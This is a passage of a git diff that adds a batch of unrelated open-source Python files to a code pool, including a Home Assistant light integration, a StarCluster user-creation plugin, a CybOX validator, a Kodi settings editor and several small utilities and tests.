(AES.block_size - len(s) % AES.block_size) \ + * chr(AES.block_size - len(s) % AES.block_size) + + @staticmethod + def _unpad(s): + return s[:-ord(s[len(s)-1:])] + + +if __name__ == '__main__': + server = HTTPServer((hostName, hostPort), EncryptionServer) + print(time.asctime(), "Server Starts - %s:%s" % (hostName,hostPort)) + + try: + server.serve_forever() + except KeyboardInterrupt: + pass + + server.server_close() + print(time.asctime(), "Server Stops - %s:%s" % (hostName, hostPort)) diff --git a/pool/shard008/Python/0075346_light.py b/pool/shard008/Python/0075346_light.py new file mode 100644 index 0000000000000000000000000000000000000000..95731da914e47175459ea54202f980d23b6451cc --- /dev/null +++ b/pool/shard008/Python/0075346_light.py @@ -0,0 +1,119 @@ +"""Support for Freedompro light.""" +import json + +from pyfreedompro import put_state + +from homeassistant.components.light import ( + ATTR_BRIGHTNESS, + ATTR_HS_COLOR, + COLOR_MODE_BRIGHTNESS, + COLOR_MODE_HS, + COLOR_MODE_ONOFF, + LightEntity, +) +from homeassistant.config_entries import ConfigEntry +from homeassistant.const import CONF_API_KEY +from homeassistant.core import HomeAssistant, callback +from homeassistant.helpers import aiohttp_client +from homeassistant.helpers.entity import DeviceInfo +from homeassistant.helpers.entity_platform import AddEntitiesCallback +from homeassistant.helpers.update_coordinator import CoordinatorEntity + +from .const import DOMAIN + + +async def async_setup_entry( + hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback +) -> None: + """Set up Freedompro light.""" + api_key = entry.data[CONF_API_KEY] + coordinator = hass.data[DOMAIN][entry.entry_id] + async_add_entities( + Device(hass, api_key, device, coordinator) + for device in coordinator.data + if device["type"] == "lightbulb" + ) + + +class Device(CoordinatorEntity, LightEntity): + """Representation of an Freedompro light.""" + + def __init__(self, hass, api_key, device, coordinator): + """Initialize the Freedompro light.""" + super().__init__(coordinator) + self._session = aiohttp_client.async_get_clientsession(hass) + self._api_key = api_key + self._attr_name = device["name"] + self._attr_unique_id = device["uid"] + self._attr_device_info = DeviceInfo( + identifiers={ + (DOMAIN, self.unique_id), + }, + manufacturer="Freedompro", + model=device["type"], + name=self.name, + ) + self._attr_is_on = False + self._attr_brightness = 0 + color_mode = COLOR_MODE_ONOFF + if "hue" in device["characteristics"]: + color_mode = COLOR_MODE_HS + elif "brightness" in device["characteristics"]: + color_mode = COLOR_MODE_BRIGHTNESS + self._attr_color_mode = color_mode + self._attr_supported_color_modes = {color_mode} + + @callback + def _handle_coordinator_update(self) -> None: + """Handle updated data from the coordinator.""" + device = next( + ( + device + for device in self.coordinator.data + if device["uid"] == self._attr_unique_id + ), + None, + ) + if device is not None and "state" in device: + state = device["state"] + if "on" in state: + self._attr_is_on = state["on"] + if "brightness" in state: + self._attr_brightness = round(state["brightness"] / 100 * 255) + if "hue" in state and "saturation" in state: + self._attr_hs_color = (state["hue"], state["saturation"]) + super()._handle_coordinator_update() + + async def async_added_to_hass(self) -> None: + """When entity is added to hass.""" + await super().async_added_to_hass() + self._handle_coordinator_update() + + async def async_turn_on(self, **kwargs): + """Async function to set on to light.""" + payload = {"on": True} + if ATTR_BRIGHTNESS in kwargs: + payload["brightness"] = round(kwargs[ATTR_BRIGHTNESS] / 255 * 100) + if ATTR_HS_COLOR in kwargs: + payload["saturation"] = round(kwargs[ATTR_HS_COLOR][1]) + payload["hue"] = round(kwargs[ATTR_HS_COLOR][0]) + payload = json.dumps(payload) + await put_state( + self._session, + self._api_key, + self._attr_unique_id, + payload, + ) + await self.coordinator.async_request_refresh() + + async def async_turn_off(self, **kwargs): + """Async function to set off to light.""" + payload = {"on": False} + payload = json.dumps(payload) + await put_state( + self._session, + self._api_key, + self._attr_unique_id, + payload, + ) + await self.coordinator.async_request_refresh() diff --git a/pool/shard008/Python/0075348_users.py b/pool/shard008/Python/0075348_users.py new file mode 100644 index 0000000000000000000000000000000000000000..4383db79d9d1355c1d9ee1a43ae03369fdee623e --- /dev/null +++ b/pool/shard008/Python/0075348_users.py @@ -0,0 +1,170 @@ +# Copyright 2009-2014 Justin Riley +# +# This file is part of StarCluster. +# +# StarCluster is free software: you can redistribute it and/or modify it under +# the terms of the GNU Lesser General Public License as published by the Free +# Software Foundation, either version 3 of the License, or (at your option) any +# later version. +# +# StarCluster is distributed in the hope that it will be useful, but WITHOUT +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more +# details. +# +# You should have received a copy of the GNU Lesser General Public License +# along with StarCluster. If not, see . + +import os +import posixpath + +from starcluster import utils +from starcluster import static +from starcluster import exception +from starcluster import clustersetup +from starcluster.logger import log + + +class CreateUsers(clustersetup.DefaultClusterSetup): + """ + Plugin for creating one or more cluster users + """ + + DOWNLOAD_KEYS_DIR = os.path.join(static.STARCLUSTER_CFG_DIR, 'user_keys') + BATCH_USER_FILE = "/root/.users/users.txt" + + def __init__(self, num_users=None, usernames=None, download_keys=None, + download_keys_dir=None): + if usernames: + usernames = [user.strip() for user in usernames.split(',')] + if num_users: + try: + num_users = int(num_users) + except ValueError: + raise exception.BaseException("num_users must be an integer") + elif usernames: + num_users = len(usernames) + else: + raise exception.BaseException( + "you must provide num_users or usernames or both") + if usernames and num_users and len(usernames) != num_users: + raise exception.BaseException( + "only %d usernames provided - %d required" % + (len(usernames), num_users)) + self._num_users = num_users + if not usernames: + usernames = ['user%.3d' % i for i in range(1, num_users + 1)] + self._usernames = usernames + self._download_keys = str(download_keys).lower() == "true" + self._download_keys_dir = download_keys_dir or self.DOWNLOAD_KEYS_DIR + super(CreateUsers, self).__init__() + + def run(self, nodes, master, user, user_shell, volumes): + self._nodes = nodes + self._master = master + self._user = user + self._user_shell = user_shell + self._volumes = volumes + log.info("Creating %d cluster users" % self._num_users) + newusers = self._get_newusers_batch_file(master, self._usernames, + user_shell) + for node in nodes: + self.pool.simple_job(node.ssh.execute, + ("echo -n '%s' | newusers" % newusers), + jobid=node.alias) + self.pool.wait(numtasks=len(nodes)) + log.info("Configuring passwordless ssh for %d cluster users" % + self._num_users) + pbar = self.pool.progress_bar.reset() + pbar.maxval = self._num_users + for i, user in enumerate(self._usernames): + master.generate_key_for_user(user, auth_new_key=True, + auth_conn_key=True) + master.add_to_known_hosts(user, nodes) + pbar.update(i + 1) + pbar.finish() + self._setup_scratch(nodes, self._usernames) + if self._download_keys: + self._download_user_keys(master, self._usernames) + + def _download_user_keys(self, master, usernames): + pardir = posixpath.dirname(self.BATCH_USER_FILE) + bfile = posixpath.basename(self.BATCH_USER_FILE) + if not master.ssh.isdir(pardir): + master.ssh.makedirs(pardir) + log.info("Tarring all SSH keys for cluster users...") + for user in usernames: + master.ssh.execute( + "cp /home/%(user)s/.ssh/id_rsa %(keydest)s" % + dict(user=user, keydest=posixpath.join(pardir, user + '.rsa'))) + cluster_tag = master.cluster_groups[0].name.replace( + static.SECURITY_GROUP_PREFIX, '') + tarfile = "%s-%s.tar.gz" % (cluster_tag, master.region.name) + master.ssh.execute("tar -C %s -czf ~/%s . --exclude=%s" % + (pardir, tarfile, bfile)) + if not os.path.exists(self._download_keys_dir): + os.makedirs(self._download_keys_dir) + log.info("Copying cluster users SSH keys to: %s" % + os.path.join(self._download_keys_dir, tarfile)) + master.ssh.get(tarfile, self._download_keys_dir) + master.ssh.unlink(tarfile) + + def _get_newusers_batch_file(self, master, usernames, shell, + batch_file=None): + batch_file = batch_file or self.BATCH_USER_FILE + if master.ssh.isfile(batch_file): + bfile = master.ssh.remote_file(batch_file, 'r') + bfilecontents = bfile.read() + bfile.close() + return bfilecontents + bfilecontents = '' + tmpl = "%(username)s:%(password)s:%(uid)d:%(gid)d:" + tmpl += "Cluster user account %(username)s:" + tmpl += "/home/%(username)s:%(shell)s\n" + shpath = master.ssh.which(shell)[0] + ctx = dict(shell=shpath) + base_uid, base_gid = self._get_max_unused_user_id() + for user in usernames: + home_folder = '/home/%s' % user + if master.ssh.path_exists(home_folder): + s = master.ssh.stat(home_folder) + uid = s.st_uid + gid = s.st_gid + else: + uid = base_uid + gid = base_gid + base_uid += 1 + base_gid += 1 + passwd = utils.generate_passwd(8) + ctx.update(username=user, uid=uid, gid=gid, password=passwd) + bfilecontents += tmpl % ctx + pardir = posixpath.dirname(batch_file) + if not master.ssh.isdir(pardir): + master.ssh.makedirs(pardir) + bfile = master.ssh.remote_file(batch_file, 'w') + bfile.write(bfilecontents) + bfile.close() + return bfilecontents + + def on_add_node(self, node, nodes, master, user, user_shell, volumes): + self._nodes = nodes + self._master = master + self._user = user + self._user_shell = user_shell + self._volumes = volumes + log.info("Creating %d users on %s" % (self._num_users, node.alias)) + newusers = self._get_newusers_batch_file(master, self._usernames, + user_shell) + node.ssh.execute("echo -n '%s' | newusers" % newusers) + log.info("Adding %s to known_hosts for %d users" % + (node.alias, self._num_users)) + pbar = self.pool.progress_bar.reset() + pbar.maxval = self._num_users + for i, user in enumerate(self._usernames): + master.add_to_known_hosts(user, [node]) + pbar.update(i + 1) + pbar.finish() + self._setup_scratch(nodes=[node], users=self._usernames) + + def on_remove_node(self, node, nodes, master, user, user_shell, volumes): + raise NotImplementedError('on_remove_node method not implemented') diff --git a/pool/shard008/Python/0075351_client.py b/pool/shard008/Python/0075351_client.py new file mode 100644 index 0000000000000000000000000000000000000000..f4aee1784e8dd4fc12f75a01aa11c9ce61bde665 --- /dev/null +++ b/pool/shard008/Python/0075351_client.py @@ -0,0 +1,112 @@ +#!/usr/bin/env python +# coding: utf-8 + +import os +import sys +import time +import httplib +import unittest +import threading + +sys.path.append('.') + +import argparse +import marionette_tg.conf + + +def execute(cmd): + os.system(cmd) + + +def exec_download(): + client_ip = marionette_tg.conf.get("client.client_ip") + conn = httplib.HTTPConnection( + client_ip, 18079, False, timeout=600) + conn.request("GET", "/") + response = conn.getresponse() + actual_response = response.read() + conn.close() + + expected_response = '' + for x in range(2**18): + expected_response += '_' + str(x) + + assert actual_response == expected_response + + return actual_response + + +class ParametrizedTestCase(unittest.TestCase): + """ TestCase classes that want to be parametrized should + inherit from this class. + """ + def __init__(self, methodName='runTest', param=None): + super(ParametrizedTestCase, self).__init__(methodName) + self.param = param + + @staticmethod + def parametrize(testcase_klass, param=None): + """ Create a suite containing all tests taken from the given + subclass, passing them the parameter 'param'. + """ + testloader = unittest.TestLoader() + testnames = testloader.getTestCaseNames(testcase_klass) + suite = unittest.TestSuite() + for name in testnames: + suite.addTest(testcase_klass(name, param=param)) + return suite + + +class CliTest(ParametrizedTestCase): + + def startservers(self, format): + client_ip = marionette_tg.conf.get("client.client_ip") + server_ip = marionette_tg.conf.get("server.server_ip") + + execute("marionette_client --client_ip %s --client_port 18079 --server_ip %s --format %s &" % + (client_ip, server_ip, format)) + time.sleep(5) + + def stopservers(self): + execute("pkill -9 -f marionette_client") + + def dodownload_serial(self): + exec_download() + + def dodownload_parallel(self): + simultaneous = 2 + threads = [] + for j in range(simultaneous): + t = threading.Thread(target=exec_download) + threads.append(t) + for t in threads: + t.start() + for t in threads: + t.join() + + def test_cli_curl(self): + if self.param: + try: + format = self.param + self.startservers(format) + self.dodownload_serial() + # Not necessary at this time + #self.dodownload_parallel() + sys.stdout.write(format+' ') + sys.stdout.flush() + except Exception as e: + self.assertFalse(True, e) + finally: + self.stopservers() + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument("format", + nargs='?', + help="Format for Marionette to load", + default="dummy") + args = parser.parse_args() + # Configure the tests suite + suite = unittest.TestSuite() + suite.addTest(ParametrizedTestCase.parametrize(CliTest, param=args.format)) + unittest.TextTestRunner(verbosity=2).run(suite) diff --git a/pool/shard008/Python/0075355_generate_android_manifest.py b/pool/shard008/Python/0075355_generate_android_manifest.py new file mode 100644 index 0000000000000000000000000000000000000000..17eabd4d9ab8ba6d7372c30e7375de1bb36ecce8 --- /dev/null +++ b/pool/shard008/Python/0075355_generate_android_manifest.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python +# +# Copyright 2015 The Chromium Authors. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. +"""Creates an AndroidManifest.xml for an incremental APK. + +Given the manifest file for the real APK, generates an AndroidManifest.xml with +the application class changed to IncrementalApplication. +""" + +import argparse +import os +import sys +from xml.etree import ElementTree + +sys.path.append(os.path.join(os.path.dirname(__file__), os.path.pardir, 'gyp')) +from util import build_utils + +_ANDROID_NAMESPACE = 'http://schemas.android.com/apk/res/android' +ElementTree.register_namespace('android', _ANDROID_NAMESPACE) + +_INCREMENTAL_APP_NAME = 'org.chromium.incrementalinstall.BootstrapApplication' +_META_DATA_NAME = 'incremental-install-real-app' +_DEFAULT_APPLICATION_CLASS = 'android.app.Application' + + +def _AddNamespace(name): + """Adds the android namespace prefix to the given identifier.""" + return '{%s}%s' % (_ANDROID_NAMESPACE, name) + +def _ParseArgs(): + parser = argparse.ArgumentParser() + build_utils.AddDepfileOption(parser) + parser.add_argument('--src-manifest', + help='The main manifest of the app', + required=True) + parser.add_argument('--out-manifest', + help='The output manifest', + required=True) + parser.add_argument('--disable-isolated-processes', + help='Changes all android:isolatedProcess to false. ' + 'This is required on Android M+', + action='store_true') + return parser.parse_args() + + +def _ProcessManifest(main_manifest, disable_isolated_processes): + """Returns a transformed AndroidManifest.xml for use with _incremental apks. + + Args: + main_manifest: Manifest contents to transform. + disable_isolated_processes: Whether to set all isolatedProcess attributes to + false + + Returns: + The transformed AndroidManifest.xml. + """ + if disable_isolated_processes: + main_manifest = main_manifest.replace('isolatedProcess="true"', + 'isolatedProcess="false"') + + doc = ElementTree.fromstring(main_manifest) + app_node = doc.find('application') + if app_node is None: + app_node = ElementTree.SubElement(doc, 'application') + + real_app_class = app_node.get(_AddNamespace('name'), + _DEFAULT_APPLICATION_CLASS) + app_node.set(_AddNamespace('name'), _INCREMENTAL_APP_NAME) + + meta_data_node = ElementTree.SubElement(app_node, 'meta-data') + meta_data_node.set(_AddNamespace('name'), _META_DATA_NAME) + meta_data_node.set(_AddNamespace('value'), real_app_class) + return ElementTree.tostring(doc, encoding='UTF-8') + + +def main(): + options = _ParseArgs() + with open(options.src_manifest) as f: + main_manifest_data = f.read() + new_manifest_data = _ProcessManifest(main_manifest_data, + options.disable_isolated_processes) + with open(options.out_manifest, 'w') as f: + f.write(new_manifest_data) + + if options.depfile: + build_utils.WriteDepfile( + options.depfile, + [options.src_manifest] + build_utils.GetPythonDependencies()) + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0075356_stack.py b/pool/shard008/Python/0075356_stack.py new file mode 100644 index 0000000000000000000000000000000000000000..c63463b8b7b2c14064d3e88c6978b1552b3c21bd --- /dev/null +++ b/pool/shard008/Python/0075356_stack.py @@ -0,0 +1,26 @@ +"""This module defines the Stack data structure.""" + +from linked_list import Linked_List + + +class Stack(object): + """The stack data structure is a composition of the Linked List structure.""" + def __init__(self, iterable=None): + """Initialize stack as a Linked_List-esque object.""" + self._container = Linked_List(iterable) + + def push(self, val): + """Use Linked List push method to add one Node to stack.""" + self._container.push(val) + + def pop(self): + """Use Linked List pop() method to remove one from stack.""" + return self._container.pop() + + def peek(self): + """Peek the top of the stack.""" + return self._container.head + + def __len__(self): + """Return number of items in Stack.""" + return self._container.size() diff --git a/pool/shard008/Python/0075357_delete.py b/pool/shard008/Python/0075357_delete.py new file mode 100644 index 0000000000000000000000000000000000000000..e1c0230fa3e82eb596bf44b5c13ffb63b65a9a0b --- /dev/null +++ b/pool/shard008/Python/0075357_delete.py @@ -0,0 +1,68 @@ +# Copyright 2014 Google Inc. All Rights Reserved. +"""Command for deleting addresses.""" + +from googlecloudsdk.compute.lib import addresses_utils +from googlecloudsdk.compute.lib import utils + + +class Delete(addresses_utils.AddressesMutator): + """Release reserved IP addresses.""" + + @staticmethod + def Args(parser): + addresses_utils.AddressesMutator.Args(parser) + + delete = parser.add_argument( + 'names', + metavar='NAME', + nargs='+', + help='The names of the addresses to delete.') + cli = Delete.GetCLIGenerator() + delete.completer = utils.GetCompleterForResource('compute.addresses', cli) + + @property + def method(self): + return 'Delete' + + def CreateGlobalRequests(self, args): + """Create a globally scoped request.""" + + # TODO(user): In the future we should support concurrently deleting both + # region and global addresses + address_refs = self.CreateGlobalReferences( + args.names, resource_type='globalAddresses') + utils.PromptForDeletion(address_refs) + requests = [] + for address_ref in address_refs: + request = self.messages.ComputeGlobalAddressesDeleteRequest( + address=address_ref.Name(), + project=self.project, + ) + requests.append(request) + + return requests + + def CreateRegionalRequests(self, args): + """Create a regionally scoped request.""" + + address_refs = ( + self.CreateRegionalReferences(args.names, args.region)) + utils.PromptForDeletion(address_refs, scope_name='region') + requests = [] + for address_ref in address_refs: + request = self.messages.ComputeAddressesDeleteRequest( + address=address_ref.Name(), + project=self.project, + region=address_ref.region, + ) + requests.append(request) + + return requests + + +Delete.detailed_help = { + 'brief': 'Release reserved IP addresses', + 'DESCRIPTION': """\ + *{command}* releases one or more Google Compute Engine IP addresses. + """, +} diff --git a/pool/shard008/Python/0075361_cybox-validator.py b/pool/shard008/Python/0075361_cybox-validator.py new file mode 100644 index 0000000000000000000000000000000000000000..e9a5183571d01318afe82c325a1f1971406b03bc --- /dev/null +++ b/pool/shard008/Python/0075361_cybox-validator.py @@ -0,0 +1,220 @@ +#!/usr/bin/env python + +# Copyright (c) 2015, The MITRE Corporation. All rights reserved. +# See LICENSE.txt for complete terms. + +"""CybOX Document Validator - validates CybOX XML instance documents. + +This script uses different exit status codes to indicate various forms of +errors that can occur during validation. Because validation errors are +additive, users can bitmask the return values to determine what errors +occurred at a glance: + +* ``0x0``. No errors occurred. +* ``0x1``. A fatal system error occurred. +* ``0x2``. At least one schema-invalid document was processed. +* ``0x10``. A non-fatal error occurred during validation. This usually + indicates scenarios where malformed XML documents are validated or missing + files are attempted to be validated. + +Attributes: + quiet: If ``True`` only validation results and fatal errors will be + printed. + +""" +# builtin +import sys +import logging +import argparse + +# internal +import sdv +import sdv.codes as codes +import sdv.errors as errors +import sdv.scripts as scripts +import sdv.validators as validators + + +def _set_validation_options(args): + """Populates an instance of ``ValidationOptions`` from the `args` param. + + Args: + args (argparse.Namespace): The arguments parsed and returned from + ArgumentParser.parse_args(). + + Returns: + Instance of ``ValidationOptions``. + + """ + options = scripts.ValidationOptions() + + if (args.files): + options.schema_validate = True + + # input options + options.lang_version = args.lang_version + options.schema_dir = args.schema_dir + options.in_files = args.files + options.recursive = args.recursive + options.use_schemaloc = args.use_schemaloc + options.huge_tree = args.huge_tree + + # output options + options.json_results = args.json + options.quiet_output = args.quiet + + # class options + options.xml_validation_class = validators.CyboxSchemaValidator + + return options + + +def _validate_args(args): + """Checks that valid and compatible command line arguments were passed into + the application. + + Args: + args (argparse.Namespace): The arguments parsed and returned from + ArgumentParser.parse_args(). + + Raises: + ArgumentError: If invalid or incompatible command line arguments were + passed into the application. + + """ + if len(sys.argv) == 1: + raise scripts.ArgumentError("Invalid arguments", show_help=True) + + if args.lang_version and args.use_schemaloc: + raise scripts.ArgumentError( + "Cannot set both --cybox-version and --use-schemalocs" + ) + + +def _get_arg_parser(): + """Initializes and returns an argparse.ArgumentParser instance for this + application. + + Returns: + Instance of ``argparse.ArgumentParser`` + + """ + parser = argparse.ArgumentParser( + description="CybOX Document Validator v%s" % sdv.__version__ + ) + + parser.add_argument( + "--cybox-version", + dest="lang_version", + default=None, + help="The version of CybOX to validate against" + ) + + parser.add_argument( + "--schema-dir", + dest="schema_dir", + default=None, + help="Schema directory. If not provided, the CybOX schemas bundled " + "with the stix-validator library will be used." + ) + + parser.add_argument( + "--use-schemaloc", + dest="use_schemaloc", + action='store_true', + default=False, + help="Use schemaLocation attribute to determine schema locations." + ) + + parser.add_argument( + "--quiet", + dest="quiet", + action="store_true", + default=False, + help="Only print results and errors if they occur." + ) + + parser.add_argument( + "--json-results", + dest="json", + action="store_true", + default=False, + help="Print results as raw JSON. This also sets --quiet." + ) + + parser.add_argument( + "--recursive", + dest="recursive", + action="store_true", + default=False, + help="Recursively descend into input directories." + ) + + parser.add_argument( + "--huge-tree", + dest="huge_tree", + action="store_true", + default=False, + help="Disable libxml2 security restrictions on XML document size." + ) + + parser.add_argument( + "files", + metavar="FILES", + nargs="*", + help="A whitespace separated list of CybOX files or directories of " + "CybOX files to validate." + ) + + return parser + + +def main(): + """Entry point for sdv.py. + + Parses and validates command line arguments and then does at least one of + the following: + + * Validates instance document against schemas and + prints results to stdout. + * Prints an error to stderr and exit(1) + + """ + parser = _get_arg_parser() + args = parser.parse_args() + + try: + # Validate the input command line arguments + _validate_args(args) + + # Parse the input options + options = _set_validation_options(args) + + # Set the output level (e.g., quiet vs. verbose) + scripts.set_output_level(options) + + # Validate input documents + results = scripts.run_validation(options) + + # Print validation results + scripts.print_results(results, options) + + # Determine exit status code and exit. + code = scripts.status_code(results) + sys.exit(code) + + except scripts.ArgumentError as ex: + if ex.show_help: + parser.print_help() + scripts.error(ex) + except (errors.ValidationError, IOError) as ex: + scripts.error( + "Validation error occurred: '%s'" % str(ex), + codes.EXIT_VALIDATION_ERROR + ) + except Exception: + logging.exception("Fatal error occurred") + sys.exit(codes.EXIT_FAILURE) + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0075362_stock_update.py b/pool/shard008/Python/0075362_stock_update.py new file mode 100644 index 0000000000000000000000000000000000000000..db10be0883aebb960dd62c67d9590ee46f807a37 --- /dev/null +++ b/pool/shard008/Python/0075362_stock_update.py @@ -0,0 +1,53 @@ +# -*- coding: utf-8 -*- + +from __future__ import unicode_literals +try: + from dl_law_codes.classe_pdf import Table + from models import LawArticle +except: + from CreateYourLaws.dl_law_codes.classe_pdf import Table + from CreateYourLaws.models import LawArticle + from CreateYourLaws.views_functions import CreateCommit + + +def SU_Article(NewArticle, link, container, Law_Code, Gov): + """ Ad the new Article in the DB""" + NewArticlehtml = "" + for x in NewArticle.contents: + if isinstance(x, Table): + NewArticlehtml += x.html + else: + NewArticlehtml += x + Articlesql, created = LawArticle.objects.get_or_create( + autor=Gov, + title=NewArticle.name, + law_code=Law_Code, + block=container) + Articlesql.url = link + if created: + Articlesql.text_law = NewArticlehtml + Articlesql.updated = True + Articlesql.save() + else: + if Articlesql.text_law != NewArticlehtml: + details ="" + coms="" + CreateCommit( + Articlesql, + NewArticlehtml, + NewArticle.name, + details, + coms) + Articlesql.autor = Gov + Articlesql.title = NewArticle.name + Articlesql.text_law = NewArticlehtml + Articlesql.law_code = Law_Code + Articlesql.block = container + Articlesql.updated = True + Articlesql.save() + print(Articlesql.law_code.title, + " n°", + Articlesql.law_code.id, + ': ', + Articlesql.title, + ' --> OK!') diff --git a/pool/shard008/Python/0075365_resource_options.py b/pool/shard008/Python/0075365_resource_options.py new file mode 100644 index 0000000000000000000000000000000000000000..bc9d4116e508fe0e98a57cbbaa254ce88ef26ed8 --- /dev/null +++ b/pool/shard008/Python/0075365_resource_options.py @@ -0,0 +1,29 @@ +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +from keystone.common import resource_options +from keystone.common.resource_options import options as ro_opt + + +PROJECT_OPTIONS_REGISTRY = resource_options.ResourceOptionRegistry('PROJECT') + + +# NOTE(morgan): wrap this in a function for testing purposes. +# This is called on import by design. +def register_role_options(): + for opt in [ + ro_opt.IMMUTABLE_OPT, + ]: + PROJECT_OPTIONS_REGISTRY.register_option(opt) + + +register_role_options() diff --git a/pool/shard008/Python/0075368_service-shortcode-delete.7.x.py b/pool/shard008/Python/0075368_service-shortcode-delete.7.x.py new file mode 100644 index 0000000000000000000000000000000000000000..36cb65f725f285d58a6caca52ec4fec21a057671 --- /dev/null +++ b/pool/shard008/Python/0075368_service-shortcode-delete.7.x.py @@ -0,0 +1,16 @@ +# Download the Python helper library from twilio.com/docs/python/install +import os +from twilio.rest import Client + +# Your Account Sid and Auth Token from twilio.com/console +# To set up environmental variables, see http://twil.io/secure +account_sid = os.environ['TWILIO_ACCOUNT_SID'] +auth_token = os.environ['TWILIO_AUTH_TOKEN'] +client = Client(account_sid, auth_token) + +did_delete = client.messaging \ + .services(sid="MG2172dd2db502e20dd981ef0d67850e1a") \ + .short_codes(sid="SC3f94c94562ac88dccf16f8859a1a8b25") \ + .delete() + +print(did_delete) diff --git a/pool/shard008/Python/0075381_advancedsettings.py b/pool/shard008/Python/0075381_advancedsettings.py new file mode 100644 index 0000000000000000000000000000000000000000..67c0c7582292f16bba4bde4ffb44477bfe805f87 --- /dev/null +++ b/pool/shard008/Python/0075381_advancedsettings.py @@ -0,0 +1,164 @@ +import xbmc,xbmcvfs +from xml.dom import minidom +from xml.parsers.expat import ExpatError +import utils as utils + +class AdvancedSettings: + as_file = xbmc.translatePath('special://home/userdata/advancedsettings.xml') + doc = None + + def exists(self): + if(xbmcvfs.exists(self.as_file)): + return True + else: + return False + + def createFile(self): + impl = minidom.getDOMImplementation() + + self.doc = impl.createDocument(None,"advancedsettings",None) + + self._writeFile() + + def readFile(self): + result = True #assume success + + #read in the file + if(xbmcvfs.exists(self.as_file)): + + try: + self.doc = minidom.parse(self.as_file) + except ExpatError: + utils.log("can't read file") + result = False + + return result + + def listNodes(self,aNode = None): + result = [] + + if(aNode == None): + #use the root node + result = self.__parseNodes(self.doc.documentElement) + else: + result = self.__parseNodes(self.doc.getElementsByTagName(aNode)[0]) + + return result + + + def getNode(self,parent,node): + if(parent == ''): + parent = None + + #get the top level node + nodeList = self.listNodes(parent) + foundNode = None + + for aNode in nodeList: + if(aNode.name == node): + foundNode = aNode + + return foundNode + + def renameNode(self,node,newName): + #get the child + childNode = self.doc.documentElement.getElementsByTagName(node.name)[0] + + childNode.tagName = newName + + self._writeFile() + + def updateValue(self,node,newValue): + + #get parent first + parentNode = None + + if(node.parent == 'advancedsettings'): + #hack in case we're already at the top + parentNode = self.doc.documentElement + else: + #get the parent from the dom + parentNode = self.doc.documentElement.getElementsByTagName(node.parent)[0] + + childNode = parentNode.getElementsByTagName(node.name)[0] + + #set a new value, or create one if blank + if(len(childNode.childNodes) > 0): + childNode.firstChild.nodeValue = newValue + else: + valueNode = self.doc.createTextNode(newValue) + childNode.appendChild(valueNode) + + self._writeFile() + + def deleteNode(self,node): + #get the xml node from the dom + childNode = self.doc.documentElement.getElementsByTagName(node.name)[0] + + #remove this node from the parent + parentNode = childNode.parentNode + parentNode.removeChild(childNode) + + self._writeFile() + + def addNode(self,parent,child): + parentNode = None + + if(parent == 'advancedsettings'): + #hack in case we're already at the top + parentNode = self.doc.documentElement + else: + #get the parent from the dom + parentNode = self.doc.documentElement.getElementsByTagName(parent)[0] + + #remove any text children from this node (if they exist) + if(len(parentNode.childNodes) == 1 and parentNode.firstChild.nodeType == self.doc.TEXT_NODE): + parentNode.removeChild(parentNode.firstChild) + + childNode = self.doc.createElement(child.name) + + #only add value if there is on + if(child.value != ''): + value = self.doc.createTextNode(child.value) + childNode.appendChild(value) + + #add the child + parentNode.appendChild(childNode) + + self._writeFile() + + + def _writeFile(self): + file = xbmcvfs.File(self.as_file,'w') + file.write(str(self.doc.toxml())) + file.close() + + def __parseNodes(self,nodeList): + result = [] + + for node in nodeList.childNodes: + if(node.nodeType == self.doc.ELEMENT_NODE): + aSetting = SettingNode(node.nodeName) + + #detect if there are any element nodes + if(len(node.childNodes) > 0): + for child_node in node.childNodes: + if(child_node.nodeType == self.doc.ELEMENT_NODE): + aSetting.hasChildren = True + + if(not aSetting.hasChildren and len(node.childNodes) > 0): + aSetting.value = node.firstChild.nodeValue + + aSetting.parent = node.parentNode.nodeName + + result.append(aSetting) + return result + +class SettingNode: + name = '' + value = '' + hasChildren = False + parent = '' + + def __init__(self,name): + self.name = name diff --git a/pool/shard008/Python/0075384_test_neuroglancer.py b/pool/shard008/Python/0075384_test_neuroglancer.py new file mode 100644 index 0000000000000000000000000000000000000000..783da55a587d791cc495ff4378fe13b9ee55dc17 --- /dev/null +++ b/pool/shard008/Python/0075384_test_neuroglancer.py @@ -0,0 +1,35 @@ +import pathlib + +import numpy as np +import pytest + +import meshio + +from . import helpers + + +@pytest.mark.parametrize( + "mesh", + [ + # helpers.empty_mesh, + helpers.tri_mesh + ], +) +def test_neuroglancer(mesh, tmp_path): + def writer(*args, **kwargs): + return meshio.neuroglancer.write(*args, **kwargs) + + # 32bit only + helpers.write_read(tmp_path, writer, meshio.neuroglancer.read, mesh, 1.0e-8) + + +@pytest.mark.parametrize("filename, ref_sum, ref_num_cells", [("simple1", 20, 4)]) +def test_reference_file(filename, ref_sum, ref_num_cells): + this_dir = pathlib.Path(__file__).resolve().parent + filename = this_dir / "meshes" / "neuroglancer" / filename + + mesh = meshio.read(filename, "neuroglancer") + tol = 1.0e-5 + s = np.sum(mesh.points) + assert abs(s - ref_sum) < tol * abs(ref_sum) + assert len(mesh.cells[0].data) == ref_num_cells diff --git a/pool/shard008/Python/0075388_parse_seq.py b/pool/shard008/Python/0075388_parse_seq.py new file mode 100644 index 0000000000000000000000000000000000000000..10196ea9bd5bd0484550c0e0cdfc5831637d5041 --- /dev/null +++ b/pool/shard008/Python/0075388_parse_seq.py @@ -0,0 +1,50 @@ +#!/user/bin/env python + +# Script for parsing sequences using a tab delimited file + +# Setup: +# Make a directory called "genome_files" and put all of the reference fasta file in this folder. +# This folder and the fasta file inside will be used to parse the sequences from. +# Execute the script ABOVE the "genome_files" directory. +# Have a tab-delimited file with: +# - The header name as the first column +# - The reference genome as the second column +# - The coordinates as the 9th and 10th columns +# Sequences on the reverse strand will 